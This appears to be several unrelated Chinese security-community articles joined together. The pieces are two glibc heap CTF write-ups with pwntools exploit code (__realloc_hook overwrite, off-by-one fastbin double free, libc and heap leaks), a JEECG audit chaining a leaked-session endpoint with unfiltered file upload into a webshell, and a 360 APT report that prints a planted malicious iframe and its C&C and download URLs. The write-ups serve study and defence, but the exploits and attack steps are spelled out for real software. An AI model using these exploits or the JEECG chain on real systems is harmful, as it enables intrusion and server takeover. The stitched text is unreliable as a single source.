alloc_perturb(p, bytes);
return p;
}
}
他会检测大小是否正确，所以不伪造chunk的size部分过不了关的
在回到这里
gdb-peda$ x/5gx 0x7f14d2670730-0x10
0x7f14d2670720 <__memalign_hook>: 0x00007f14d2335c90 0x0000000000000000
0x7f14d2670730 <__realloc_hook>: 0x00007f14d2335c30 0x0000000000000000
0x7f14d2670740 <__malloc_hook>: 0x0000000000000000
这样是个chunk的话，pre_size是0x00007f14d2335c90，size是0，这样肯定没法搞，所以我们要利用一点错位，让size成功变成fastbin里的
gdb-peda$ x/5gx 0x7f14d2670730-0x10-0x3
0x7f14d267071d: 0x14d2335c90000000 0x000000000000007f
0x7f14d267072d: 0x14d2335c30000000 0x000000000000007f
0x7f14d267073d: 0x0000000000000000
这样不就成了，size为0x7f，然后我们现在大小对了，位置错位了，所以最后我们要补个'a'*0x3来填充我们的错位部分，然后在realloc部分填上我们的system地址，最后在调用一次getshell
这里的错位需要自己调试，不一定是跟我一样的错位，在fastbin attack部分也将会学习到
system_addr = libc_base+system_off
print("system_addr: 0x%x" % system_addr)
payload = 'a'*0x3
payload += p64(system_addr)
payload += p8(0)*(0x4d+0x8)
PUT("e"*0x8, 0x60, payload)
payload = "/bin/sh"
payload += p8(0)*0x12
GET(payload)
到了结尾了，这里有个点说明下，我们malloc(0x7f)跟伪造chunk的size是完全不一样的，我们malloc过后还要经过计算才得到size，你看普通malloc(0x7f)
0x557c81b53130: 0x0000000000000000 0x0000000000000041
0x557c81b53140: 0x0000557c81b53070 0x000000000000007f
0x557c81b53150: 0x0000557c81b53180 0x0000557c81b53010
0x557c81b53160: 0x0000557c81b53210 0x0000000000000000
0x557c81b53170: 0x0000000000000000 0x0000000000000091
0x557c81b53180: 0x4242424242424242 0x4242424242424242
0x557c81b53190: 0x4242424242424242 0x4242424242424242
0x557c81b531a0: 0x4242424242424242 0x4242424242424242
0x557c81b531b0: 0x4242424242424242 0x4242424242424242
0x557c81b531c0: 0x4242424242424242 0x4242424242424242
0x557c81b531d0: 0x4242424242424242 0x4242424242424242
0x557c81b531e0: 0x4242424242424242 0x4242424242424242
0x557c81b531f0: 0x4242424242424242 0x0042424242424242
他获得的是0x91大小的chunk，具体size计算可以自己看源码，我只是点出这个点而已
## 总结
1. 这道题知识点较多，利用较复杂，利用堆块重叠泄露，在用fastbin attack
2. 错位伪造chunk知识点，补上了，第一次遇到
3. 这道题需要对堆的分配机制较为熟练才比较好做，像我调试了很久，最终才的出来的结论
4. 遇到错误要学会去查看源码，好几个师傅都叫我看源码，最后才懂的
## 参考链接
[看雪的师傅的文章](https://bbs.pediy.com/thread-246966.htm)
[ctf-wiki原理介绍](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/) | 社区文章 |
漏洞： 两个漏洞getshell，无需知道账号密码
**0x00 简述**
JEECG是一款基于代码生成器的J2EE快速开发平台，开源界“小普元”超越传统商业企业级开发平台。引领新的开发模式(Online
Coding模式(自定义表单)->代码生成器模式->手工MERGE智能开发)， 可以帮助解决Java项目60%的重复工作，让开发更多关注业务逻辑。
环境安装：
IDEA 已经安装maven
数据库 mysql
源代码 <https://github.com/zhangdaiscott/jeecg>
tomcat
**0x01 安装**
1. 下载源代码 <https://github.com/zhangdaiscott/jeecg>
2. 用idea导入项目，之后会自动下载依赖
3. 修改数据库配置文件，替换账号密码
4. 需要手动在数据库中创建jeecg数据库，并导入数据
5. 配置tomcat，启动服务
修改账号密码
需要导入的数据
配置tomcat
然后启动服务
**0x01 路由**
JEECG快速开发平台基于spring MVC 框架
使用@Controller将一个类声明为控制器类，然后在通过@RequestMapping配置路由映射。
简单举例说明：
/src/main/java/com/jeecg/demo/controller/JfromOrderController.java
要访问JfromOrderController.java类中的方法
首先访问 @RequestMapping(params = "qrcode")
url：<http://localhost:8080/jeecgFormDemoController.do?qrcode>
然后需要访问： @RequestMapping("/filedeal")
url: <http://localhost:8080/jeecgFormDemoController/filedeal.do>
页面报错，是因为这个请求需要post，是上传文件的文件操作的功能
**0x02 漏洞**
通过两个漏洞直接getshell，直接上演示
首先先登录（需要活得request包）
访问<http://localhost:8080/jeecgFormDemoController.do?commonUpload> 上传文件
直接修改文件名后缀：
shell上传成功
但是需要我们登录后台，要有账号密码，能否绕过登录，直接getshell呢？
权限的判定是通过sessionid，如果我们可以得到一个已经登录的sessionid，就可以上传文件了
JEECG快速开发平台存在一个未授权漏洞，也可以说是信息泄露漏洞
<http://localhost:8080/webpage/system/druid/websession.json>
既然获取到了sessionid，将请求包中的session替换
**0x02 分析**
漏洞原因很简单，上传文件没有判断文件名后缀，导致直接getshell
/src/main/java/org/jeecgframework/web/cgform/controller/upload/CgUploadController.java
ajaxSaveFile方法
/**
* 自动上传保存附件资源的方式
* @return
*/
@RequestMapping(params = "ajaxSaveFile")
@ResponseBody
public AjaxJson ajaxSaveFile(MultipartHttpServletRequest request) {
AjaxJson ajaxJson = new AjaxJson();
Map<String, Object> attributes = new HashMap<String, Object>();
try {
Map<String, MultipartFile> fileMap = request.getFileMap();
String uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
// 文件数据库保存路径
String path = uploadbasepath + "/";// 文件保存在硬盘的相对路径
String realPath = request.getSession().getServletContext().getRealPath("/") + "/" + path;// 文件的硬盘真实路径
realPath += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
path += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
File file = new File(realPath);
if (!file.exists()) {
file.mkdirs();// 创建文件时间子目录
}
if(fileMap != null && !fileMap.isEmpty()){
for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
MultipartFile mf = entity.getValue();// 获取上传文件对象
String fileName = mf.getOriginalFilename();// 获取文件名
String swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));// 取文件名首字母作为SWF文件名
String extend = FileUtils.getExtend(fileName);// 获取文件扩展名
String noextfilename=DateUtils.getDataString(DateUtils.yyyymmddhhmmss)+StringUtil.random(8);//自定义文件名称
String myfilename=noextfilename+"."+extend;//自定义文件名称
String savePath = realPath + myfilename;// 文件保存全路径
write2Disk(mf, extend, savePath);
TSAttachment attachment = new TSAttachment();
attachment.setId(UUID.randomUUID().toString().replace("-", ""));
attachment.setAttachmenttitle(fileName.substring(0,fileName.lastIndexOf(".")));
attachment.setCreatedate(new Timestamp(new Date().getTime()));
attachment.setExtend(extend);
attachment.setRealpath(path + myfilename);
String globalSwfTransformFlag = ResourceUtil.getConfigByName("swf.transform.flag");
if("true".equals(globalSwfTransformFlag) && !FileUtils.isPicture(extend)){
attachment.setSwfpath( path + FileUtils.getFilePrefix(myfilename) + ".swf");
SwfToolsUtil.convert2SWF(savePath);
}
systemService.save(attachment);
attributes.put("url", path + myfilename);
attributes.put("name", fileName);
attributes.put("swfpath", attachment.getSwfpath());
attributes.put("fileid", attachment.getId());
}
}
ajaxJson.setAttributes(attributes);
} catch (Exception e) {
e.printStackTrace();
ajaxJson.setSuccess(false);
ajaxJson.setMsg(e.getMessage());
}
return ajaxJson;
}
String fileName = mf.getOriginalFilename();// 获取文件名
String swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));// 取文件名首字母作为SWF文件名
String extend = FileUtils.getExtend(fileName);// 获取文件扩展名
String noextfilename=DateUtils.getDataString(DateUtils.yyyymmddhhmmss)+StringUtil.random(8);//自定义文件名称
String myfilename=noextfilename+"."+extend;//自定义文件名称
String savePath = realPath + myfilename;// 文件保存全路径
获取了文件扩展名，没有进行任何过滤，就进行拼接生成新的文件名，来保存。
**0x03 其他
JEECG快速开发平台很合适练习java的代码审计，里面还存在的漏洞有：sql注入、任意文件下载、任意文件删除、EL表达式注入、xss,SSRF漏洞等（这是已经发现的）** | 社区文章 |
# 对美人鱼APT行动的一次详细分析报告
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
一个持续6年的针对多国政府机构的网络间谍活动
——攻击丹麦外交部的“美人鱼行动”追踪分析
美人鱼行动是主要针对政府机构,持续时间长达6年的网络间谍活动,已经证实有针对丹麦外交部的攻击。360追日团队早在2015年6月就发现了美人鱼行动,通过对捕获的恶意代码样本进行大数据关联分析后,对这个网络间谍活动进行了全面的追踪分析。
目录
一、概述… 3
二、载荷投递… 4
1.鱼叉邮件:PowerPoint OLE钓鱼文档… 4
2.疑似水坑攻击… 5
3.自身伪装… 7
三、RAT分析… 8
1.功能简述… 8
2.V1和V2版本… 8
3.对抗手法… 8
四、C&C分析… 10
1.WHOIS信息… 10
2.故意混淆误导?无辜受害者?… 10
现象… 10
分析… 11
3.被安全机构sinkhole. 12
五、相关线索信息… 14
1.诱饵文档… 14
2.后门程序… 16
3.作息时间… 18
4.域名WHOIS信息… 19
5.小结… 19
附录A:sophos误报反馈详细记录… 20
报告更新相关时间节点
---
2015年6月23日,形成攻击简报和样本分析报告
2015年7月9日,形成综合分析报告
2016年1月28日,了解到DDIS报告,更新报告内容
2016年4月15日,更新报告内容,公开发布
概述
美人鱼行动是境外APT组织主要针对政府机构的攻击活动,持续时间长达6年的网络间谍活动,已经证实有针对丹麦外交部的攻击。相关攻击行动最早可以追溯到2010年4月,最近一次攻击是在2016年1月。截至目前360追日团队总共捕获到恶意代码样本284个,C&C域名35个。
2015年6月,360追日团队首次注意到美人鱼行动中涉及的恶意代码,并展开关联分析,由于相关恶意代码在中国地区并不活跃,所以当时无法判断其载荷投递的方式和攻击针对目标和领域。但通过大数据关联分析目前我们已经确定相关攻击行动最早可以追溯到2010年4月,以及关联出上百个恶意样本文件,另外360追日团队疑似载荷投递采用了水坑攻击的方式,进一步结合恶意代码中诱饵文件的内容和其他情报数据,初步判定这是一次以窃取敏感信息为目的的针对性攻击,且目标是熟悉英语或波斯语。
2016年1月,丹麦国防部情报局(DDIS,Danish Defence Intelligence
Service)所属的网络安全中心(CFCS,Centre for Cyber
Security)发布了一份名为“关于对外交部APT攻击的报告”的APT研究报告,报告主要内容是CFCS发现了一起从2014年12月至2015年7月针对丹麦外交部的APT攻击,相关攻击主要利用鱼叉邮件进行载荷投递。
CFCS揭露的这次APT攻击,就是360追日团队在2015年6月发现的美人鱼行动,针对丹麦外交部的相关鱼叉邮件攻击属于美人鱼行动的一部分。从CFCS的报告中360追日团队确定了美人鱼行动的攻击目标至少包括以丹麦外交部为主的政府机构,其载荷投递方式至少包括鱼叉式钓鱼邮件攻击。
通过相关线索分析,360追日团队初步推测美人鱼行动幕后组织来自中东地区。
OLE是Object Linking and
Embedding的缩写,即“对象链接与嵌入”,将可执行文件或脚本文件嵌入到文档文件中[[1]](/Users/zhoufei-s/Desktop/%E7%BE%8E%E4%BA%BA%E9%B1%BC%E8%A1%8C%E5%8A%A8%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.docx#_ftn1),虽然没有使用漏洞,但构造的恶意文档文件极具有迷惑性。
攻击者可以在outlook发送邮件时、word文档或PowerPoint幻灯片中构造钓鱼文档,在美人鱼行动中主要是利用PowerPoint
OLE钓鱼文档,一般是将PE恶意文件嵌入其中。进一步针对单个PPT文档,攻击者会嵌入多个同样的PE恶意文件,这造成在用户环境执行PPT钓鱼文档后,对弹出的安全警告窗口点击“取消”后会继续弹出,一般安全意识较弱的用户在经过多次操作后没有达到预期效果,则会点击“运行”由此来达到关闭安全警告窗口。
图 1 PowerPoint OLE钓鱼文档执行后的效果
图 2 PowerPoint OLE钓鱼文档中嵌入了多个PE文件
kurdistannet.org(A Daily Independent Online Kurdish
Newspaper)网站被植入了恶意链接,疑似美人鱼行动中发动水坑攻击会基于该网站。这个网站的主要内容是涉及伊拉克库尔德斯坦的相关新闻,网站语言以波斯语为主,也就是被攻击目标是关注库尔德斯坦相关新闻,且熟悉波斯语。
360追日团队在2016年4月14日再次请求访问该网站,通过对页面源码的分析,插入的恶意链接依然还存在尚未删除,也就是kurdistannet网站的管理人员尚未发现相关威胁。但是恶意链接目前来看已经失效了。
图 3 kurdistannet网站主页
图 4 kurdistannet网站被植入恶意链接的源码截图
被挂马网站
|
kurdistannet.org
---|---
被植入的恶意代码
|
<iframe name="statModules" width="0" height="0" marginwidth="0"
marginheight="0" scrolling="no" border="0" frameborder="0"
src='http://wpstat.mine.bz/e1/stat1.php'>
挂马恶意链接
|
hXXp://wpstat.mine.bz/e1/stat1.php
Sucuri检测结果
|
https://sitecheck.sucuri.net/results/kurdistannet.org
Sucuri检测结果
(谷歌快照)
|
https://webcache.googleusercontent.com/search?q=cache:lLMBPzClHwkJ:https://sitecheck.sucuri.net/results/kurdistannet.org+&cd=7&hl=zh-CN&ct=clnk&gl=tw
谷歌快照时间
|
2016年1月24日 04:25:17 GMT
上表是对kurdistannet网站被挂马的具体记录,通过sucuri谷歌快照的时间,可以确定至少在2016年1月24日kurdistannet网站就已经被植入了恶意链接。
图 5 sucuri对kurdistannet网站的检测结果
从以下两个表中,可以看出母体文件有来自URL的情况,从URL最终指向的文件扩展名来看,应该不会是诱导用户点击并执行这类URL。而这类URL有可能是其他downloader木马请求下载或者由漏洞文档、水坑网站在触发漏洞成功后下载执行。
来源URL
|
http://wep.soon.it/doc/v28n1f1.tmp
http://www.bestupdateserver.com/infy/update.php?cn=nlzoetws011185&ver=6.2&u=3%2f12%2f2015%20%2023%3a50%3a38
---|---
下载的RAT
|
1a918a850892c2ca5480702c64c3454c
表 1样本来源1
来源URL
|
http://best.short-name.com/b35f1.tmp
---|---
下载的RAT
|
6bc1aea97e7b420b0993eff794ed2aeb
表 2样本来源2
这里主要指对二进制可执行EXE文件,主要从文件名、文件扩展名和文件图标等方面进行伪装。
在美人鱼行动中主要通过winrar的自解压功能将相关样本文件和诱饵文档打包为EXE文件,其中诱饵文档涉及的方面较多,会涉及安装补丁、开发环境、视频、图片、文档等,但就EXE文件母体很少将文件图标替换为文档或图片图标。
美人鱼行动中使用的RAT我们命名为SD RAT,SD
RAT主要是通过winrar的自解压功能将自己打包为exe文件,会伪装为安装补丁、开发环境、视频、图片、文档等,如V1版本会伪装成图片文件,V2版本会将自己伪装为aptana的air插件。
主要功能是进行键盘记录,收集用户信息(例如:pc的信息,剪贴板内容等等)然后上传到指定服务器,进一步还会从服务器上下载文件(下载的文件暂时还未找到)并运行。从样本代码本身来看SD
RAT主要分为两个版本,大概2012年之前的是早期V1版本,2012年之后至今的为V2版本。
窃取回传的数据
|
具体信息
---|---
PC相关信息
|
计算机名称,用户名称,CPUID,机器ID,IP,当前任务列表,系统版本号,UAC,IE版本,Windows目录,系统目录,临时路径,时区,磁盘空间,系统键盘类型,系统语言等
.ini 文件
|
程序安装时间,发送成功次数,发送失败次数和下载次数
.dat 文件
|
程序运行的日志和记录的键盘内容,浏览器地址栏的内容以及剪贴板上的内容
两个版本执行在整体架构上是相同的都是在创建窗口的时候调用了一个函数,在该函数中创建两个定时器一个用来记录剪贴板中最新内容,一个用来下载文件和发送用户信息。
在V1版本中创建了两个定时器一个用来下载文件和发送用户信息另一个则调用GetAsyncKeyState进行键盘记录
,而在V2版本中通过注册热键,响应相关消息进行键盘记录。在V1版本中则通过setclipboard和响应WM_DRAWCLIPBOARD
消息来记录剪贴板上的内容。V2版本内部之间的主要区别在于URL和相关字符串是否加密,在2015年的近期V2版本中几乎对所有的字符串都进行了加密操作。
虽然两个版本在具体的功能实现的手法上有所区别但整体结构和功能是一致的,甚至连字符串解密的函数都是一样的。
躲避执行?失误?
V2版本会检测avast目录(avast
software)是否存在,如果不存在则停止运行。V2版本此处的检测逻辑,不太符合一般恶意代码检测杀毒软件进行对抗的思路,我们推测有两种可能性:
第一种:攻击者重点关注被攻击目标环境存在avast杀软的目标;
第二种:攻击者在开发过程中的失误导致。
谨慎执行
V2检测到其他杀软不会停止运行,而是谨慎执行。
V2版本首先会检测卡巴斯基目录(Kaspersky Lab),判断是否安装了该杀毒软件如果存在则会进行谨慎的删除,如果存在则检测是否存在
C:Documents and
SettingsAdministratorApplicationDataAdobeairplugin*.dat,存在则会获取插件的名称,然后删除对应的启动项。如果不存在则会直接将以airplugin开头的相关启动项全部删除。
进一步然后向注册表中添加启动项,在添加启动项的过程中依旧会检测如下杀毒软目录件是否存在。
Norton Antivirus
Norton Security
Norton Internet Security
Norton 360
Symantec Antivirus
Symantec_Client_Security
SymantecSymantec Endpoint Protection
Norton 360 Premier Edition
Norton Security with Backup
---
如果存在,会通过执行批处理的方式添加如果不存在则直接进行修改注册表。接着会执行删除,然后再次检测上面罗列的杀毒软件,如果存在则将原文件移动过去并重命名如果不存在则直接复制过去重命名。
检测杀软的操作并没有影响最终的结果,只是采取了更加谨慎的操作。
图 6域名和注册邮箱对应关系
非动态域名,360追日团队通过对主域名的WHOIS信息分析,发现相关域名持有者邮箱主要集中在以下几个邮箱:
[email protected]
[email protected]
[email protected]
[email protected]
---
在我们分析C&C通信的过程中,一个针对安全厂商的误报反馈引起了我们的注意,具体反馈的误报信息如下表和下图所示。
反馈误报相关
|
具体链接
---|---
反馈误报的URL
|
[https://community.sophos.com/products/unified-threat-management/f/55/t/46992](https://community.sophos.com/products/unified-threat-management/f/55/t/46992)
认为被误报的网站
|
hXXp://updateserver1.com
hXXp://bestupdateserver.com/
图 7 sophos反馈误报页面
aj58在sophos论坛主要反馈sophos产品误报了他持有的两个网站,sophos的UTM是基于McAfee Smartfilter
XL,aj58声称McAfee已经更改了网站状态(即非恶意),其中Scott
Klassen反馈如果McAfee如果修改状态,则sophos最终也会修改。aj58继续反馈说VT中sophos的检测结果依然是恶意。从目前来看VT中sophos的结果[[2]](/Users/zhoufei-s/Desktop/%E7%BE%8E%E4%BA%BA%E9%B1%BC%E8%A1%8C%E5%8A%A8%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.docx#_ftn2)是未评级网站(Unrated
site),也就是已经将恶意状态修改。
在看到以上现象,360追日团队首先是想到了之前发布的《007
黑客组织及其地下黑产活动分析报告》([https://ti.360.com/upload/report/file/Hook007.pdf](https://ti.360.com/upload/report/file/Hook007.pdf))中,出现过攻击者主动联系安全厂商,探测安全厂商检测机制的案例。
以下是就本次事件的具体推测过程:
首先sophos论坛上注册的用户名是aj58,这的确和反馈误报的两个域名WHOIS信息中邮箱地址比较相似“[email protected]”,“[email protected]”,这一现象或许是用户习惯相关用户名,另外就是刻意表示与相关网站具备关联归属性。
进一步aj58声称自己拥有的两个网站,也是美人鱼行动中主要涉及到C&C域名,从2010年至2015年都有涉及到这两个C&C的木马出现,一般情况恶意域名如果曝光或使用次数越多则存活时间则会越短,而如果只是针对特定目标,且控制其传播范围,则C&C域名会存活较长时间。
疑点1:而且从360追日团队的分析来看,这两个C&C域名的作用并非简单的判断网络环境,其作用主要是窃取信息的回传和下载其他恶意程序。这时怀疑有两种可能性,第一:这两个域名属于美人鱼行动幕后组织所注册持有;第二:这两个域名是可信网站,被美人鱼行动幕后组织攻陷作为跳板。
注:
恶意代码判断网络环境:一般恶意代码在执行主要功能之前会判断下本地网络环境,这时会请求一些可信网站,如请求谷歌、微软等网站,如果符合预设的判断条件,则继续执行。
---
疑点2:进一步360追日团队发现在美人鱼行动中使用的C&C域名,排除动态域名,至少有8个C&C域名与aj58提到的这两个域名注册邮箱相同。这时我们怀疑有两种可能性,第一:这两个域名属于美人鱼行动幕后组织所注册持有;第二:这两个域名和其他8个域名均为可信网站,而美人鱼行动幕后组织只针对aj58所持有的域名进行攻击,并作为跳板。
疑点3:另外这些aj58提到的这两个域名,以及我们发现的其他域名均无对外提供WEB服务或网站页面。
疑点4:注意到aj58是在2015年7月25日反馈误报,而aj58所持有的另外3个域名已经在2015年7月1日被安全机构(virustracker.info)sinkhole了。从aj58在sophos论坛反馈自己网站被误报的情况,360追日团队认为aj58用户对自己网站的安全性还是很关注的。我们推测aj58所持有的网站如果被其他机构接管了,aj58应该会进行反馈质疑,无法知道aj58是否联系virustracker.info,但从这3个网站的最新WHOIS信息来看,持有者仍然是virustracker.info。
short-name.com
bestwebstat.com
myblog2000.com
---
表 3被安全机构接管的3个C&C域名
其他: aj58是在2015年7月25日反馈误报,CFCS发布的针对丹麦外交部攻击的报告中指出最后一次攻击是2015年7月24日。
通过以上分析推测,360追日团队更倾向aj58就是美人鱼行动幕后组织的成员,但暂时无法确切证明,不排除aj58是无辜的受害者。
在上一小节中已经介绍了美人鱼行动中有3个C&C已经被安全机构接管。一般情况下安全机构对某个域名进行sinkhole接管的时候,是很确定该域名是被攻击者所持有。
已经被安全机构接管的C&C
---
C&C主域名
|
short-name.com
bestwebstat.com
myblog2000.com
WHOIS信息
|
2015年7月1日之前:[[email protected]](mailto:[email protected])
2015年7月1日之前:[[email protected]](mailto:[email protected])
2015年7月1日之后:[[email protected]](mailto:[email protected])
IP
|
Sinkhole之前:192.69.208.202
Sinkhole之前:209.236.117.65
Sinkhole之后:69.195.129.72
表 4样本来源2
图 8诱饵文档截图1
图 9诱饵文档截图2
从上面两张诱饵PPT截图来看,其中主要语言是波斯语。
样本MD5
|
oleObject路径
---|---
260687b5a29d9a8947d514acae695ad4
|
C:Usersya hosainDesktoppower point .exe
83e90ccf2523cce6dec582cdc3ddf76b
|
C:UserssalazarDesktoppower point.exe
0096c70453cd7110453b6609a950ce18
|
C:Users135133128Desktoppower point.exe
b61b26c9862e74772a864afcbf4feba4
|
C:Users1001DesktopDesktop.exe
ffad81c9cc9a6d1bd77b29c5be16d1b0
|
C:Usersya aliDesktophelma22.exe
7a6e9a6e87e1e43ad188f18ae42f470f
|
C:UsersbaranDesktopvoavoal.exe
表 5 OLE嵌入的PE文件路径
上表是PPT OLE钓鱼文档中嵌入的PE文件路径,这个路径就是恶意代码作者本机的文件路径,从相关用户名“ya hosain”、“ya
ali”来看,这些用户名更多出现在中东地区。
从下表中可以看出诱饵PPT文档属性的标题内容也是波斯语。
تا چه حد حقیقت دارد؟
---
表 6 PPT文件属性中标题内容
母体
|
3d186a44960a4edc8e297e1066e4264b
---|---
视频文件MD5
|
1c401190a40bc5c03dc5711c57b4b416
视频文件原始文件名
|
badhejiabshiraz_x264_003.mp4
从上面视频内容和视频原始文件名中的“badhejiab”,都涉及到中东地区。
美人鱼行动中大量样本都存在如下类似情况,即子体文件中会包含一段字符串,相关内容一般是直接复制于新闻网站的内容。相关字符串在样本实际执行的过程中并没有具体作用。
下表是其中一个样本的信息,新闻主要涉及叙利亚相关问题。
母体文件
|
1a918a850892c2ca5480702c64c3454c
---|---
子体文件
|
6e4e52cf69e37d2d540a431f23d7015a
文件中字符串
|
In his only interview ahead of COP21, the UNs climate summit which opens next
Monday, the Prince of Wales suggested that environmental issues may have been
one of the root causes of the problems in Syria
涉及到的新闻链接
|
http://news.sky.com/story/1592373/charles-syrias-war-linked-to-climate-change
图 10相关新闻页面截图
图 11攻击者作息时间
图 12 RAR自解压文件内相关文件时间
C&C域名的注册邮箱:“[email protected]”
图
13相似域名截图[[3]](/Users/zhoufei-s/Desktop/%E7%BE%8E%E4%BA%BA%E9%B1%BC%E8%A1%8C%E5%8A%A8%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.docx#_ftn3)
结合上述线索信息,以及与攻击目标的关系,我们初步推测美人鱼行动幕后组织来自中东地区。
下表是用户名为“aj58”的用户在sophos论坛页面反馈的完整记录:
提交者
|
aj58
|
---|---|---
发帖时间
|
2015.07.25 10:53pm
|
具体内容
|
我在几天前与Sophos联系提交了一个误报,至今仍没收到回复。提交页面https://secure2.sophos.com/en-us/threat-center/reassessment-request.aspx
我的诉求是:
您的产品将我的2个网站判定为恶意
您最新的试用版没有在我的网站发现任何恶意软件
请尽快将我的网站从您的黑名单中移除
我的网站是:
http://updateserver1.com
http://bestupdateserver.com/
|
提交者
|
Scott Klassen(调解员)
|
发帖时间
|
2015.07.25 5:11pm
|
具体内容
|
Sophos并不会与用户回联并告知处理结果,除非需要用户提供更多信息,而这种情况几乎从未发生
请在https://www.trustedsource.org/上创建一个账户。然后访问https://www.trustedsource.org/en/feedback/url,选择安全网关(UTM)使用的
McAfee Smartfilter XL。当你检查一个URL时,你就可以选择提交一个修正的建议。
|
提交者
|
Michael Dunn(Sophos员工)
|
发帖时间
|
2015.07.27 3:45pm
|
具体内容
|
根据VT的检测结果,有多家公司将你鉴定为恶意
https://www.virustotal.com/en/url/d3a69436ef78644af0fd671f973aa0b22e8af0f0b0cc4916eeeacd40fd07d540/analysis/
如果你确定自己是安全的,那么你可能需要做很多事情了
|
提交者
|
aj58
|
发帖时间
|
2015.07.28 10:07pm 回复Michael Dunn
|
具体内容
|
McAfee已经更改了有关我的网站的状态
我是否需要再次请求Sophos更改我网站的状态?还是过几天会自动更改?
|
提交者
|
Scott Klassen
|
aj58
发帖时间
|
2015.07.29 3:35pm
|
具体内容
|
Sophos的安全网关使用信任来源的数据库。如果你网站的状态在McAfee
X数据库的一个信任来源被更改了,那么几个小时内,你网站的状态在Sophos也会被修改。
你并不需要再联系Sophos
|
提交者
|
aj58
|
发帖时间
|
2015.08.05 10:30am
|
具体内容
|
信任来源的结果在几天前就被修改了,但是VT依然显示我的网站被Sophos检测为恶意
|
提交者
|
BAlfson(调解员)
|
发帖时间
|
2015.08.05 9:54pm
|
具体内容
|
用户在这里反馈,对Sophos的检测结果没有任何影响 (注:这是一句法语,大概意思可能是这个)
请您在Sophos网站上提交重新评估申请表
|
* * *
[[3]](/Users/zhoufei-s/Desktop/%E7%BE%8E%E4%BA%BA%E9%B1%BC%E8%A1%8C%E5%8A%A8%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.docx#_ftnref3)
http://arjanews.ir/%D8%AC%D9%87%D8%A7%D8%AF-%D9%85%D8%BA%D9%86%DB%8C%D9%87-%D8%A7%D8%B2-%DA%86%D9%87-%D8%B2%D9%85%D8%A7%D9%86-%D8%AA%D8%AD%D8%AA-%D9%86%D8%B8%D8%A7%D8%B1%D8%AA-%D8%B3%D8%B1%D8%AF%D8%A7%D8%B1-%D8%B3/ | 社区文章 |
2019年12月圣诞前后某日某平台的习题之一，没给libc，一般默认应该是Ubuntu16.04，libc-2.23。
题目限制很多，其中不少新的fastbin double free利用套路，网上相关资料也不多见，值得学习记录一下
## 应用程序情况
程序为ELF64，查看保护情况
$ checksec heap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
可看出保护全开，再看程序功能。
$ ./heap
1.Add
2.Delete
3.Show
4.Exit
Choice :
可看出程序共3个功能，添加，删除和显示
添加功能函数代码为：
sub_AFA();
for ( i = 0; i <= 31; ++i )
{
if ( !qword_202060[i] )
{
printf("size: ");
v0 = sub_CBF();
buf = malloc(v0);
qword_202060[i] = buf;
printf("data: ");
read(0, buf, v0 + 1);
++dword_20204C;
return __readfsqword(0x28u) ^ v4;
}
}
可看出可任意分配指定长度的空间，且输入数据可多读一位，存在off by one漏洞
函数前面调用了`sub_AFA`函数，该函数代码如下：
if ( dword_202048 )
_assert_fail("!replaced", "fastbin.c", 0x1Fu, "replace_hook");
dword_202048 = 1;
_malloc_hook = (__int64)sub_AB0;
可看出每次添加分配内存，都强制修改`__malloc_hook`指向`sub_AB0`
函数，对应函数将`__malloc_hook`指向程序开始初始化时备份的BSS存储值
删除代码如下：
printf("Which heap do you want to delete: ");
v1 = sub_CBF("Which heap do you want to delete: ");
if ( v1 >= 0 && v1 <= dword_20204C )
{
free((void *)qword_202060[v1]);
qword_202060[v1] = 0LL;
--dword_20204C;
}
else
{
puts("Out of bound!");
}
可看出free后并清空了指针
查看代码如下：
for ( i = 0; i <= 32; ++i )
{
if ( qword_202060[i] )
printf("%d : %s \n", (unsigned int)i, qword_202060[i]);
}
程序会打印所有指针有效的空间内容。
堆溢出一般套路是泄露libc地址，利用任意地址修改的漏洞劫持got指向，若开启了`RELRO`,
则修改`__malloc_hook`或`__free_hook`的指向，或修改`_IO_2_1_stdout_`的vtable结构中的xsputn或overflow等函数指向以利用打印输出触发gotshell
## 泄露libc地址
泄露libc地址的思路是：
* 先分配2次，第一次分配unsorted bin的size，删掉第一个chunk后，再分配一个相同size的chunk，长度为8，显示时即可将字符串后的top_chunk地址(main_arena+88)带出来
add(0x100,'0000')#0
add(0x68,'1111')#1
delete(0)
add(0x100,'a'*8)#0
show()
libc_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success(hex(libc_addr))
libc.address=libc_addr-0x3c4b20-88
success('libc addr:'+hex(libc.address))
## fastbin attack
### off by one & double free
利用off by one 漏洞制造fast bin double free的情况，方法是：创建3个chunk，分别为`chunk 2-4`,
前2个用来覆盖以创造overlapping的情况，后一个以防止与top
chunk合并，然后删除chunk1后再创建，最后一个字节覆盖`chunk2`的size，然后删除`chunk2`就可将`chunk2`
和`chunk3`都删除了，然后重新分配2个chunk分别落到`chunk2`和`chunk3`位置，即为`heap2`和`heap5`。删除`heap5`,再删除`heap3`，就相当于对原`chunk3`位置的fastbin空间进行double
free
add(0x68,'2222')#2
add(0x68,'3333')#3
add(0x68,'4444')#4
delete(1)
add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size
delete(2) # free 2 and 3
add(0x68,'2222')#inde 2 in chunk 2
add(0x68,'5555')#index 5 in chunk 3
delete(5) # free chunk 3
delete(4)
delete(3) #double free chunk 3
·
### 泄露heap地址
若需要泄露heap地址，可连续删除2个相邻的chunk，其中1个chunk就会写入heap地址，打印出来即可
add(0x68,'2222')#2
add(0x68,'3333')#3
add(0x68,'4444')#4
delete(1)
add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size
delete(2) # free 2 and 3
add(0x68,'2222')#2, heap 2
#-------------show heap addr
add(0x68,'5555')#5, heap 3
add(0x68,'6666') #6
delete(6)
